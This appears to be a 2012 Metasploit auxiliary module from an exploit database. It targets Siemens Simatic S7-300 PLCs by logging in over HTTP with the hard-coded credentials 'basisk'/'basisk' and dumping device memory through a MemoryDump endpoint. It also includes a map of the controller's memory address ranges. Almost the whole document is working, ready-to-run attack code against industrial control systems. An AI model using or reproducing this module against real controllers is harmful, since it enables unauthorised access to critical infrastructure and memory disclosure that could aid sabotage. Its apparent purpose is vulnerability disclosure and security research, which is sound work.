# Exploit Title: Siemens Simatic S7 300 Remote Memory Viewer Backdoor
# Date: 7-13-2012
# Exploit Author: Dillon Beresford
# Vendor Homepage: http://www.siemens.com/
# Tested on: Siemens Simatic S7-1200 PLC
# CVE : None

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
 
 include Msf::Exploit::Remote::HttpClient
 include Msf::Auxiliary::Scanner

 def initialize(info = {})
  super(update_info(info,
   'Name'        => 'Siemens Simatic S7-300 PLC Remote Memory Viewer',
   'Description' => %q{ This module attempts to authenticate using a hard-coded backdoor password in
          the Simatic S7-300 PLC and dumps the device memory using system commands.
          Mode: Values 8, 16 or 32 bit access
          Valid address areas are:
          80000000 - 81FFFFFF SD-Ram cached
          A0000000 - A1FFFFFF SD-Ram uncached
          A8000000 - A87FFFFF Norflash
          AFC00000 - AFC7FFFF ED-Ram int. uncached
          BFE00000 - BFEFFFFD COM-ED-Ram ext.
          C0000000 - C007FFFF ED-Ram int. cached
          D0000000 - D0005FFF Scratchpad data int.
          D4000000 - D4005FFF Scratchpad code int.
          F0100000 - F018FFFF SPS-Asic 16-Bit access only
    },
     'Author'   => 'Dillon Beresford',
      'License'        => MSF_LICENSE,
      'References'     =>
      [
        [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-204-01%20S7-300_S7-400.pdf' ],
       [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],
       [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],
      ],
     'Version'        => '$Revision$',
      'DisclosureDate' => 'June 2011'
      ))
      register_options(
       [
        Opt::RPORT(8080),
        OptString.new('USER', [ true, 'Simatic S7-300 hardcoded username.', 'basisk']),
        OptString.new('PASS', [ true, 'Simatic S7-300 hardcoded password.', 'basisk']),
        OptString.new('MODE', [ true, 'Memory Read Mode (8-bit, 16-bit, 32-bit)', '32']),
        OptString.new('HEX', [ true, 'Simatic S7-300 memory offset', '1']),
        OptString.new('OFFSET', [ true, 'Simatic S7-300 memory offset']),
        OptString.new('LENGTH', [ true, 'Memory Dump Length in Bits', '256'])
   ], self.class)
 end

 def run_host(ip)
  
  begin
   user = datastore['USER']
   pass = datastore['PASS']
   
   print_status("Attempting to connect to #{rhost}:#{rport}")
   len = '1024'
   login = send_request_raw(
    {
     'method' => 'GET',
     'uri' => "/login?User="+user+"&Password="+pass
    })

   if (login)
  
   request = send_request_raw(
    {
     'method'  => 'GET',
     'uri'     => "/tools/MemoryDump?Address="+datastore['OFFSET']+"&"+"Hex="+datastore['HEX']+"&"+"Length="+datastore['LENGTH']+"&Mode="+ datastore['MODE']
    })
    if (request and request.code == 200)

    print_good("Success! Dumping Memory on #{rhost} \r\n\n#{request.body}")
    elsif (request and request.code)
     print_error("Attempt #HTTP error #{request.code} on #{rhost}")
    end
   end
 
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  rescue ::Timeout::Error, ::Errno::EPIPE
  rescue ::LocalJumpError
  end
 end
end